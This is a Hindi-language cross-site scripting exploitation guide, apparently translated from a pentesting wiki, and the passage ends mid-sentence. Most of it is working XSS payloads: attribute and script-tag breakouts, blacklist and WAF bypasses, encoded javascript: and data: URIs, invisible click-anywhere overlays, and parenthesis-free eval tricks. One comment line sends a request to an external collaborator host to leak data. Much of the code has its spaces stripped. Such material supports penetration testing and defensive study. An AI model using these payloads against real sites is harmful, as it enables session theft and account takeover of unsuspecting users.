जांचें कि क्या आपके द्वारा नियंत्रित कोई मान (पैरामीटर, पथ, हेडर्स?, कुकीज़?) HTML में प्रतिबिंबित हो रहा है या JS कोड द्वारा उपयोग किया जा रहा है।
उस संदर्भ को खोजें जहाँ यह प्रतिबिंबित/उपयोग किया जा रहा है।
यदि प्रतिबिंबित है
जांचें कौन से प्रतीक आप उपयोग कर सकते हैं और इस पर निर्भर करते हुए, पेलोड तैयार करें:
कच्चे HTML में:
क्या आप नए HTML टैग बना सकते हैं?
क्या आप javascript: प्रोटोकॉल समर्थित घटनाएँ या विशेषताएँ उपयोग कर सकते हैं?
क्या आप सुरक्षा को छल सकते हैं?
क्या HTML सामग्री को किसी क्लाइंट साइड JS इंजन (AngularJS, VueJS, Mavo...) द्वारा व्याख्या किया जा रहा है, तो आप क्लाइंट साइड टेम्पलेट इंजेक्शन का दुरुपयोग कर सकते हैं।
XSS का सफलतापूर्वक शोषण करने के लिए पहली चीज जो आपको ढूंढनी होगी वह है आपके द्वारा नियंत्रित कोई मान जो वेब पृष्ठ में प्रतिबिंबित हो रहा है।
बीच में प्रतिबिंबित: यदि आपको लगता है कि किसी पैरामीटर का मान या यहाँ तक कि पथ वेब पृष्ठ में प्रतिबिंबित हो रहा है तो आप एक प्रतिबिंबित XSS का शोषण कर सकते हैं।
संग्रहीत और प्रतिबिंबित: यदि आपको लगता है कि आपके द्वारा नियंत्रित किसी मान को सर्वर में सहेजा गया है और हर बार जब आप पृष्ठ तक पहुँचते हैं तो यह प्रतिबिंबित होता है तो आप एक संग्रहीत XSS का शोषण कर सकते हैं।
JS के माध्यम से पहुँचा गया: यदि आपको लगता है कि आपके द्वारा नियंत्रित किसी मान का उपयोग JS का उपयोग करके किया जा रहा है तो आप एक DOM XSS का शोषण कर सकते हैं।
संदर्भ
XSS का शोषण करने की कोशिश करते समय पहली चीज जो आपको जाननी होगी वह है आपका इनपुट कहाँ प्रतिबिंबित हो रहा है। संदर्भ के आधार पर, आप विभिन्न तरीकों पर विभिन्न तरीकों से विचारात्मक JS कोड निष्पादित कर सकेंगे।
कच्चे HTML
यदि आपका इनपुट कच्चे HTML पृष्ठ पर प्रतिबिंबित है तो आपको कुछ HTML टैग का दुरुपयोग करने की आवश्यकता होगी ताकि आप JS कोड को निष्पादित कर सकें: <img , <iframe , <svg , <script ... ये कुछ संभावित HTML टैग हैं जिन्हें आप उपयोग कर सकते हैं।
इसके अलावा, क्लाइंट साइड टेम्पलेट इंजेक्शन को ध्यान में रखें।
HTML टैग विशेषता के अंदर
यदि आपका इनपुट किसी टैग की विशेषता के मान में प्रतिबिंबित है तो आप कोशिश कर सकते हैं:
विशेषता और टैग से बाहर निकलने के लिए (तो फिर आप कच्चे HTML में होंगे) और नए HTML टैग को दुरुपयोग करने के लिए: "><img [...]
यदि आप विशेषता से बाहर निकल सकते हैं लेकिन टैग से नहीं (> कोडित या हटाया गया है), टैग के आधार पर आप एक घटना बना सकते हैं जो JS कोड को निष्पादित करती है: " autofocus onfocus=alert(1) x="
यदि आप विशेषता से बाहर नहीं निकल सकते हैं (" कोडित या हटाया गया है), तो आपके इनपुट के आधार पर निर्भर करता है कि किस विशेषता में आपका मान प्रतिबिंबित हो रहा है क्या आप सभी मान या केवल कुछ हिस्सा नियंत्रित करते हैं आप इसका दुरुपयोग कर सकेंगे। उदाहरण के लिए, यदि आप onclick= जैसी घटना को नियंत्रित करते हैं तो आप इसे अर्बिट्रे कोड निष्पादित करने के लिए कर सकते हैं जब यह क्लिक किया जाता है। एक और दिलचस्प उदाहरण है विशेषता href, जहाँ आप javascript: प्रोटोकॉल का उपयोग करके अर्बिट्रे कोड निष्पादित कर सकते हैं: href="javascript:alert(1)"
यदि आपका इनपुट "अनउपयोगी टैगों" के अंदर प्रतिबिंबित है तो आप accesskey ट्रिक का प्रयोग कर सकते हैं वल्न का दुरुपयोग करने के लिए (इसे शोषण करने के लिए आपको किसी प्रकार के सोशल इंजीनियर की आवश्यकता होगी): " accesskey="x" onclick="alert(1)" x="
इस मामले में आपका इनपुट <script> [...] </script> टैग्स के बीच या एक HTML पेज के अंदर, एक .js फ़ाइल के अंदर या javascript: प्रोटोकॉल का उपयोग करके एक विशेषता के अंदर प्रतिबिंबित होता है:
अगर <script> [...] </script> टैग्स के बीच प्रतिबिंबित है, तो यदि आपका इनपुट किसी भी प्रकार के कोट्स के अंदर है, तो आप </script> इंजेक्ट करने का प्रयास कर सकते हैं और इस संदर्भ से बाहर निकल सकते हैं। यह काम करता है क्योंकि ब्राउज़र पहले HTML टैग्स को पार्स करेगा और फिर सामग्री, इसलिए, यह नोटिस नहीं करेगा कि आपका इंजेक्टेड </script> टैग HTML कोड के अंदर है।
अगर JS स्ट्रिंग के अंदर प्रतिबिंबित है और पिछला ट्रिक काम नहीं कर रहा है तो आपको स्ट्रिंग से बाहर निकलना, अपना कोड चलाना और जेएस कोड पुनर्निर्माण करने की आवश्यकता होगी (यदि कोई त्रुटि है, तो यह नहीं चलाया जाएगा):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
यदि टेम्पलेट लिटरल्स के अंदर प्रतिबिंबित है तो आप ${ ... } सिंटेक्स का उपयोग करके जेएस व्यक्तियों को समाहित कर सकते हैं: var greetings = `Hello, ${alert(1)}`
यूनिकोड इंकोड वैध जावास्क्रिप्ट कोड लिखने के लिए काम करता है:
\u{61}lert(1)\u0061lert(1)\u{0061}lert(1)
जावास्क्रिप्ट होइस्टिंग
जावास्क्रिप्ट होइस्टिंग एक अवसर को संदर्भित करता है जहाँ फ़ंक्शन, वेरिएबल्स या क्लासेस की घोषणा की जा सकती हैं उनके उपयोग के बाद, ताकि आप XSS के स्थितियों का दुरुपयोग कर सकें जहाँ अप्रकटित वेरिएबल्स या फ़ंक्शन्स का उपयोग हो रहा है।अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जाँच करें:
कई वेब पृष्ठों में एंडपॉइंट्स होते हैं जो किसी फ़ंक्शन का नाम पैरामीटर के रूप में स्वीकार करते हैं। जंगल में देखने के लिए एक सामान्य उदाहरण यह है: ?callback=callbackFunc।
यदि कुछ सीधे उपयोगकर्ता द्वारा दिया गया किसी चीज को निष्पादित करने की कोशिश कर रहा है, तो जानने का एक अच्छा तरीका है पैरामीटर मान को संशोधित करना (उदाहरण के लिए 'वलनरेबल' में) और त्रुटियों के लिए कंसोल में देखने के लिए।
यदि यह वलनरेबल है, तो आप एलर्ट को ट्रिगर कर सकते हैं बस इस मान को भेजकर: ?callback=alert(1)। हालांकि, यह बहुत सामान्य है कि यह एंडपॉइंट्स सामग्री की पुष्टि करें केवल अक्षर, संख्याएँ, डॉट्स और अंडरस्कोर्स ([\w\._]) को ही अनुमति देने के लिए।
हालांकि, उस सीमा के साथ भी कुछ क्रियाएँ करना संभव है। यह इसलिए है क्योंकि आप उस मान्य वर्णों का उपयोग कर सकते हैं जो DOM में किसी भी तत्व तक पहुंचने के लिए किया जा सकता है।
आप यह भी प्रयास कर सकते हैं कि जावास्क्रिप्ट फ़ंक्शन को ट्रिगर किया जाए: obj.sales.delOrders.
हालांकि, सामान्यत: इस तरह के फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स दिखाए गए होते हैं जिनमें कोई दिलचस्प DOM नहीं होता है, एक ही मूल स्रोत में अन्य पृष्ठ अधिक दिलचस्प DOM रखेंगे ताकि अधिक क्रियाएँ की जा सकें।
इसलिए, इस विकल्प का दुरुपयोग करने के लिए एक विभिन्न DOM में यह संक्रमण विकसित किया गया था:
यहाँ JS कोड है जो कुछ डेटा का असुरक्षित रूप से उपयोग कर रहा है जैसे location.href। एक हमलावर, इसका दुरुपयोग करके विचारहीन JS कोड को निष्पादित किया जा सकता है।
इस प्रकार के XSS को कहीं भी पाया जा सकता है। ये केवल एक वेब एप्लिकेशन के ग्राहक शोषण पर नहीं निर्भर करते हैं बल्कि किसी भीसंदर्भ पर। इस प्रकार के अर्बिट्रे जावास्क्रिप्ट निष्पादन को यहाँ RCE प्राप्त करने के लिए दुरुपयोग किया जा सकता है, ग्राहकों और सर्वरों में किसी भीफ़ाइल को पढ़ने के लिए, और अधिक।
कुछ उदाहरण:
जब आपका इनपुट एचटीएमएल पेज के अंदर प्रतिबिंबित होता है या आप इस संदर्भ में एचटीएमएल कोड भाग सकते हैं, तो पहली बात जो आपको करनी चाहिए वह है कि आप नए टैग बनाने के लिए < का दुरुपयोग कर सकते हैं: बस उस वर्ण को प्रतिबिंबित करने का प्रयास करें और देखें कि यह एचटीएमएल इंकोड हो रहा है या हटाया जा रहा है या यदि यह परिवर्तन के बिना प्रतिबिंबित हो रहा है। केवल इस अंतिम मामले में आप इस मामले का दुरुपयोग कर सकेंगे।
इस मामले में और यदि कोई काले/सफेद सूचीकरण का उपयोग नहीं होता है, तो आप पेलोड्स का उपयोग कर सकते हैं:
लेकिन, अगर टैग/विशेषताएँ काली/सफेद सूचीबद्ध की जा रही हैं, तो आपको ब्रूट-फोर्स करने की आवश्यकता होगी कि आप कौन से टैग बना सकते हैं। जब आपने पता लगा लिया है कि कौन से टैग अनुमत हैं, तो आपको मिले वैध टैग्स के अंदर विशेषताएँ/घटनाएँ ब्रूट-फोर्स करनी होगी ताकि आप संदर्भ में हमला कैसे कर सकते हैं।
टैग/घटनाएँ ब्रूट-फोर्स
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet पर जाएं और Copy tags to clipboard पर क्लिक करें। फिर, उन्हें सभी Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भाग्यपूर्ण नहीं माना गया है। जब आपने पता लगा लिया है कि आप कौन से टैग उपयोग कर सकते हैं, तो आप सभी घटनाएँ ब्रूट-फोर्स कर सकते हैं (उसी वेब पृष्ठ पर Copy events to clipboard पर क्लिक करें और पहले के तरीके का पालन करें)।
कस्टम टैग
अगर आपने कोई वैध HTML टैग नहीं पाया, तो आप एक कस्टम टैग बनाने की कोशिश कर सकते हैं और onfocus विशेषता के साथ JS कोड को निष्पादित कर सकते हैं। XSS अनुरोध में, आपको पृष्ठ को उस वस्तु पर ध्यान केंद्रित करने और कोड निष्पादित करने के लिए URL को # के साथ समाप्त करने की आवश्यकता होगी:
यदि किसी प्रकार की ब्लैकलिस्ट का उपयोग किया जा रहा है तो आप कुछ मूर्ख ट्रिक्स के साथ इसे बाईपास करने का प्रयास कर सकते हैं:
//Random capitalization<script> --> <ScrIpT><img --> <ImG//Double tag, in case just the first match is removed<script><script><scr<script>ipt><SCRscriptIPT>alert(1)</SCRscriptIPT>//You can substitude the space to separate attributes for://*%00//%00*/%2F%0D%0C%0A%09//Unexpected parent tags<svg><x><script>alert('1')</x>//Unexpected weird attributes<script x><scripta="1234"><script ~~~><script/random>alert(1)</script><script ///Note the newline>alert(1)</script><scr\x00ipt>alert(1)</scr\x00ipt>//Not closing tag, ending with " <" or " //"<iframeSRC="javascript:alert('XSS');" <<iframe SRC="javascript:alert('XSS');"////Extra open<<script>alert("XSS");//<</script>//Just weird an unexpected, use your imagination<</script/script><script><input type=image srconerror="prompt(1)">//Using `` instead of parenthesisonerror=alert`1`//Use more than one<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
<!-- Taken from the blog of Jorge Lajara --><svg/onload=alert``><scriptsrc=//aa.es><scriptsrc=//℡㏛.pw>
Click XSS - Clickjacking
यदि वैयक्तिकता को उत्पीड़ित करने के लिए उपयोगकर्ता को एक लिंक या एक फॉर्म पर क्लिक करने की आवश्यकता है तो आप Clickjacking का दुरुपयोग कर सकते हैं (यदि पृष्ठ भेद्य है)।
असंभव - डैंगलिंग मार्कअप
यदि आप सिर्फ यह सोचते हैं कि एक HTML टैग बनाना जिसमें एक विशेषता हो जो जेएस कोड को क्रियाशील करने के लिए असंभव है, तो आपको Danglig Markup की जांच करनी चाहिए क्योंकि आप जेएस कोड क्रियाशील किए बिना विशेषता का दुरुपयोग कर सकते हैं।
HTML टैग के अंदर इंजेक्शन
टैग के अंदर/विशेषता मान से बाहर निकलना
यदि आप एक HTML टैग के अंदर हैं, तो पहली चीज जो आप कर सकते हैं वह है टैग से बाहर निकलना और पिछले खंड में उल्लिखित कुछ तकनीकों का उपयोग करना जो जेएस कोड को क्रियाशील करने के लिए है।
यदि आप टैग से बाहर नहीं निकल सकते, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं जिससे जेएस कोड को क्रियाशील करने का प्रयास कर सकते हैं, उदाहरण के लिए कुछ पेयलोड का उपयोग करके (ध्यान दें कि इस उदाहरण में डबल कोटेशन का उपयोग विशेषता से बाहर निकलने के लिए किया गया है, यदि आपका इनपुट सीधे रूप से टैग के अंदर प्रतिबिम्बित है तो आपको उन्हें आवश्यक नहीं होगा):
<p style="animation: x;" onanimationstart="alert()">XSS</p><p style="animation: x;" onanimationend="alert()">XSS</p>#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
विशेषता के अंदर
यदि आप विशेषता से बाहर निकल नहीं सकते हैं (" को एन्कोड या हटाया जा रहा है), तो भले ही आपके पास कौन सी विशेषता है जिसमें आपका मान प्रतिबिम्बित हो रहा है, क्या आप सभी मान को नियंत्रित करते हैं या केवल एक हिस्सा है, आप इसका दुरुपयोग कर सकेंगे। उदाहरण के लिए, यदि आप onclick= जैसी घटना को नियंत्रित करते हैं तो आप इसे क्लिक करने पर विचारहीन कोड का निष्पादन करने के लिए सक्षम होंगे।
एक और दिलचस्प उदाहरण है विशेषता href, जहां आप javascript: प्रोटोकॉल का उपयोग करके विचारहीन कोड का निष्पादन कर सकते हैं: href="javascript:alert(1)"
HTML एन्कोडिंग/URL एन्कोड का उपयोग करके घटना के अंदर बायपास
HTML टैग विशेषताओं के मान के भीतर HTML एन्कोडित वर्ण रनटाइम पर डिकोड होते हैं। इसलिए कुछ इस प्रकार का मान्य होगा (पेलोड बोल्ड में है): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
ध्यान दें कि किसी भी प्रकार का HTML एन्कोड मान्य है:
//HTML entities'-alert(1)-'//HTML hex without zeros'-alert(1)-'//HTML hex with zeros'-alert(1)-'//HTML dec without zeros'-alert(1)-'//HTML dec with zeros'-alert(1)-'<ahref="javascript:var a=''-alert(1)-''">a</a><ahref="javascript:alert(2)">a</a><ahref="javascript:alert(3)">a</a>
यूनिकोड इनकोड का उपयोग करके इनसाइड इवेंट को बायपास करें
//For some reason you can use unicode to encode "alert" but not "(1)"<imgsrconerror=\u0061\u006C\u0065\u0072\u0074(1) /><imgsrconerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
विशेष प्रोटोकॉल आवश्यकता के भीतर
वहाँ आप कुछ स्थानों पर javascript: या data: प्रोटोकॉल का उपयोग कर सकते हैं किसी भी JS कोड को क्रियाशील करने के लिए। कुछ में उपयोगकर्ता इंटरैक्शन की आवश्यकता होगी और कुछ में नहीं।
javascript:alert(1)JavaSCript:alert(1)javascript:%61%6c%65%72%74%28%31%29//URL encodejavascript:alert(1)javascript:alert(1)javascript:alert(1)javascriptΪlert(1)java //Note the new linescript:alert(1)data:text/html,<script>alert(1)</script>DaTa:text/html,<script>alert(1)</script>data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3edata:text/html;charset=UTF-8,<script>alert(1)</script>data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pgdata:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
जगहें जहाँ आप इन प्रोटोकॉल को इंजेक्ट कर सकते हैं
सामान्य रूप सेjavascript: प्रोटोकॉल को किसी भी टैग में उपयोग किया जा सकता है जो विशेषता href को स्वीकार करता है और अधिकांश टैग में उपयोग किया जा सकता है जो विशेषता src को स्वीकार करता है (लेकिन <img नहीं)
इसके अतिरिक्त, इन मामलों के लिए एक अच्छा तरीका है: यदि आपका इनपुट javascript:... के अंदर URL कोड किया जा रहा है, तो यह इसे निष्पादित होने से पहले URL डीकोड हो जाएगा। इसलिए, यदि आपको स्ट्रिंग से एकल उद्धरण का उपयोग करके बाहर निकलने की आवश्यकता है और आप देखते हैं कि यह URL कोड किया जा रहा है, तो याद रखें कि यह मायने नहीं रखता है, यह निष्पादन समय में एकल उद्धरण के रूप में व्याख्या किया जाएगा।
ध्यान दें कि यदि आप कोई URLencode + HTMLencode का उपयोग करने की कोशिश करते हैं किसी भी क्रम में पेलोड को एन्कोड करने के लिए, तो यह काम नहीं करेगा, लेकिन आप पेलोड के अंदर उन्हें मिश्रित कर सकते हैं।
javascript: के साथ हेक्स और ऑक्टल एन्कोड का उपयोग करें
आप iframe के src विशेषता के अंदर हेक्स और ऑक्टल एन्कोड का उपयोग कर सकते हैं (कम से कम) JS को निष्पादित करने के लिए HTML टैग घोषित करने के लिए:
//Encoded: <svg onload=alert(1)>// This WORKS<iframesrc=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' /><iframesrc=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />//Encoded: alert(1)// This doesn't work<svgonload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' /><svgonload=javascript:'\141\154\145\162\164\50\61\51' />
रिवर्स टैब नैबिंग
<atarget="_blank"rel="opener"
यदि आप किसी भी URL को एक विषयर्थी <a href= टैग में इंजेक्ट कर सकते हैं जो target="_blank" और rel="opener" विशेषताएं सम्मिलित करता है, तो इस व्यवहार का शोध करने के लिए निम्नलिखित पृष्ठ की जाँच करें:
<!-- Injection inside meta attribute--><metaname="apple-mobile-web-app-title"content=""Twitterpopoverid="newsletter"onbeforetoggle=alert(2) /><!-- Existing target--><buttonpopovertarget="newsletter">Subscribe to newsletter</button><divpopoverid="newsletter">Newsletter popup</div>
From यहाँ: आप एक छिपे हुए विशेषता के अंदर एक XSS पेलोड को क्रियान्वित कर सकते हैं, प्रदान कि आप विक्टिम को कुंजी संयोजन दबाने के लिए राजी कर सकें। फ़ायरफ़ॉक्स Windows/Linux पर कुंजी संयोजन ALT+SHIFT+X है और OS X पर यह CTRL+ALT+X है। आप पहुंच कुंजी विशेषता में एक विभिन्न कुंजी का उपयोग करके एक विभिन्न कुंजी संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है:
अगर आपने वेब के बहुत छोटे हिस्से में XSS पाया है जिसमें किसी प्रकार की इंटरैक्शन की आवश्यकता है (शायद फूटर में एक छोटे से लिंक के साथ onmouseover तत्व), तो आप तत्व का जगह बदलने का प्रयास कर सकते हैं ताकि लिंक फायर होने की संभावनाएं अधिक हों।
उदाहरण के लिए, आप तत्व में कुछ स्टाइलिंग जोड़ सकते हैं जैसे: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
लेकिन, अगर WAF स्टाइल विशेषता को फ़िल्टर कर रहा है, तो आप CSS स्टाइलिंग गैजेट्स का उपयोग कर सकते हैं, तो अगर आपको मिलता है, उदाहरण के लिए
.test {display:block; color: blue; width: 100%}
और
#someid {top: 0; font-family: Tahoma;}
अब आप हमारे लिंक को संशोधित कर सकते हैं और इसे नीचे लाने के लिए
इन मामलों में आपका इनपुट एक .js फ़ाइल के जेएस कोड के भीतर या <script>...</script> टैग के बीच या उन HTML घटनाओं के बीच होने वाला है जो जेएस कोड को निष्पादित कर सकती हैं या उन विशेषताओं के बीच जो javascript: प्रोटोकॉल को स्वीकार करती हैं।
<script> टैग को बचाना
यदि आपका कोड <script> [...] var input = 'reflected data' [...] </script> के भीतर डाला गया है तो आप आसानी से <script> टैग को बचा सकते हैं:
नोट करें कि इस उदाहरण में हमने एकल उद्धरण को भी बंद नहीं किया है। यह इसलिए है क्योंकि HTML पार्सिंग पहले ब्राउज़र द्वारा किया जाता है, जिसमें पृष्ठ तत्वों की पहचान की जाती है, स्क्रिप्ट के ब्लॉक भी शामिल हैं। जावास्क्रिप्ट का पार्सिंग इसे समझने और निष्पादित करने के लिए केवल बाद में किया जाता है।
जेएस कोड के अंदर
यदि <> को सैनिटाइज किया जा रहा है तो आप फिर भी स्ट्रिंग को बचाने कर सकते हैं जहां आपका इनपुट स्थित है और विविध जेएस को निष्पादित कर सकते हैं। यह महत्वपूर्ण है कि जेएस की सिंटेक्स को सही करें, क्योंकि यदि कोई भी त्रुटियाँ होती हैं, तो जेएस कोड नहीं निष्पादित होगा:
स्ट्रिंग्स बनाने के लिए सिंगल और डबल कोट्स के अलावा JS बैकटिक्स `` को भी स्वीकार करता है। इसे टेम्पलेट लिटरल्स के रूप में जाना जाता है क्योंकि ये ${ ... } सिंटेक्स का उपयोग करके एम्बेडेड JS एक्सप्रेशन्स को अनुमति देते हैं।
इसलिए, अगर आपको लगता है कि आपका इनपुट JS स्ट्रिंग के अंदर रिफ्लेक्ट हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप ${ ... } सिंटेक्स का दुरुपयोग करके विविध JS कोड को निषेधित कर सकते हैं:
इसे इस प्रकार से दुरुपयोग किया जा सकता है:
`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``functionloop(){return loop}loop``````````````
एन्कोडेड कोड निष्पादन
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab// Any other char escaped is just itself
//This is a 1 line comment/* This is a multiline comment*/<!--This is a 1line comment#!This is a 1 line comment, but "#!" must to be at the beggining of the first line-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
//Javascript interpret as new line these chars:String.fromCharCode(10); alert('//\nalert(1)') //0x0aString.fromCharCode(13); alert('//\ralert(1)') //0x0dString.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
जावास्क्रिप्ट श्वेतस्थान
log=[];functionfunct(){}for(let i=0;i<=0x10ffff;i++){try{eval(`funct${String.fromCodePoint(i)}()`);log.push(i);}catch(e){}}console.log(log)//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:<img/src/onerror=alert(1)>
टिप्पणी के अंदर जावास्क्रिप्ट
//If you can only inject inside a JS comment, you can still leak something//If the user opens DevTools request to the indicated sourceMappingURL will be send//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
पारेंथेसिस के बिना जावास्क्रिप्ट
// By setting locationwindow.location='javascript:alert\x281\x29'x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x// or any DOMXSS sink such as location=name// Backtips// Backtips pass the string as an array of lenght 1alert`1`// Backtips + Tagged Templates + call/applyeval`alert\x281\x29`// This won't work as it will just return the passed arraysetTimeout`alert\x281\x29`eval.call`${'alert\x281\x29'}`eval.apply`${[`alert\x281\x29`]}`[].sort.call`${alert}1337`[].map.call`${eval}\\u{61}lert\x281337\x29`// To pass several arguments you can usefunctionbtt(){console.log(arguments);}btt`${'arg1'}${'arg2'}${'arg3'}`//It's possible to construct a function and call itFunction`x${'alert(1337)'}x```// .replace can use regexes and call a function if something is found"a,".replace`a${alert}`//Initial ["a"] is passed to str as "a," and thats why the initial string is "a,""a".replace.call`1${/./}${alert}`// This happened in the previous example// Change "this" value of call to "1,"// match anything with regex /./// call alert with "1""a".replace.call`1337${/..../}${alert}`//alert with 1337 instead// Using Reflect.apply to call any function with any argumnetsReflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`// Using Reflect.set to call set any value to a variableReflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString// These operations are called when the object is used as a primitive// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''toString=alert;window+''// Error handlerwindow.onerror=eval;throw"=alert\x281\x29";onerror=eval;throw"=alert\x281\x29";<imgsrc=x onerror="window.onerror=eval;throw'=alert\x281\x29'">{onerror=eval}throw"=alert(1)" //No ";"onerror=alert //No ";" using new linethrow 1337// Error handler + Special unicode separatorseval("onerror=\u2028alert\u2029throw 1337");// Error handler + Comma separator// The comma separator goes through the list and returns only the last elementvar a = (1,2,3,4,5,6) // a = 6throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alertthrow onerror=alert,1,1,1,1,1,1337// optional exception variables inside a catch clause.try{throw onerror=alert}catch{throw 1}// Has instance symbol'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
//Eval like functionseval('ale'+'rt(1)')setTimeout('ale'+'rt(2)');setInterval('ale'+'rt(10)');Function('ale'+'rt(10)')``;[].constructor.constructor("alert(document.domain)")``[]["constructor"]["constructor"]`$${alert()}```import('data:text/javascript,alert(1)')//General function executions``//Can be use as parenthesisalert`document.cookie`alert(document['cookie'])with(document)alert(cookie)(alert)(1)(alert(1))in"."a=alert,a(1)[1].find(alert)window['alert'](0)parent['alert'](1)self['alert'](2)top['alert'](3)this['alert'](4)frames['alert'](5)content['alert'](6)[7].map(alert)[8].find(alert)[9].every(alert)[10].filter(alert)[11].findIndex(alert)[12].forEach(alert);top[/al/.source+/ert/.source](1)top[8680439..toString(30)](1)Function("ale"+"rt(1)")();newFunction`al\ert\`6\``;Set.constructor('ale'+'rt(13)')();Set.constructor`al\x65rt\x2814\x29```;$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)globalThis[`al`+/ert/.source]`1`this[`al`+/ert/.source]`1`[alert][0].call(this,1)window['a'+'l'+'e'+'r'+'t']()window['a'+'l'+'e'+'r'+'t'].call(this,1)top['a'+'l'+'e'+'r'+'t'].apply(this,[1])(1,2,3,4,5,6,7,8,alert)(1)x=alert,x(1)[1].find(alert)top["al"+"ert"](1)top[/al/.source+/ert/.source](1)al\u0065rt(1)al\u0065rt`1`top['al\145rt'](1)top['al\x65rt'](1)top[8680439..toString(30)](1)<svg><animateonbegin=alert() attributeName=x></svg>
DOM सुरक्षा दोष
यहाँ JS कोड है जो हमलावार द्वारा नियंत्रित असुरक्षित डेटा जैसे location.href का उपयोग कर रहा है। एक हमलावार, इसका दुरुपयोग करके विभिन्न JS कोड को निषेध कर सकता है।
DOM सुरक्षा दोष का विस्तार कारणDOM सुरक्षा दोष का विस्तार इस पृष्ठ पर स्थानांतरित किया गया था:
वहाँ आपको एक विस्तृत व्याख्या मिलेगी कि DOM सुरक्षा दोष क्या है, वे कैसे प्रेरित होते हैं, और उन्हें कैसे शोषित किया जाता है।
इसके अलावा, उल्लिखित पोस्ट के अंत में आप DOM Clobbering हमलों के बारे में एक व्याख्या पा सकते हैं।
अन्य बायपास
सामान्यीकृत यूनिकोड
आप जांच सकते हैं कि प्रतिबिम्बित मान सर्वर में (या क्लाइंट साइड में) यूनिकोड सामान्यीकृत हो रहे हैं और इस कार्यक्षमता का दुरुपयोग करके सुरक्षा को छलना कर सकते हैं। यहाँ एक उदाहरण पाएं.
PHP FILTER_VALIDATE_EMAIL ध्वज बायपास
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails बायपास
RoR मास असाइनमेंट के कारण उद्धरण HTML में डाले जाते हैं और फिर उद्धरण प्रतिबंध को अनदेखा कर दिया जाता है और टैग के अंदर अतिरिक्त फील्ड (onfocus) जोड़े जा सकते हैं।
फॉर्म उदाहरण (इस रिपोर्ट से), अगर आप पेलोड भेजते हैं:
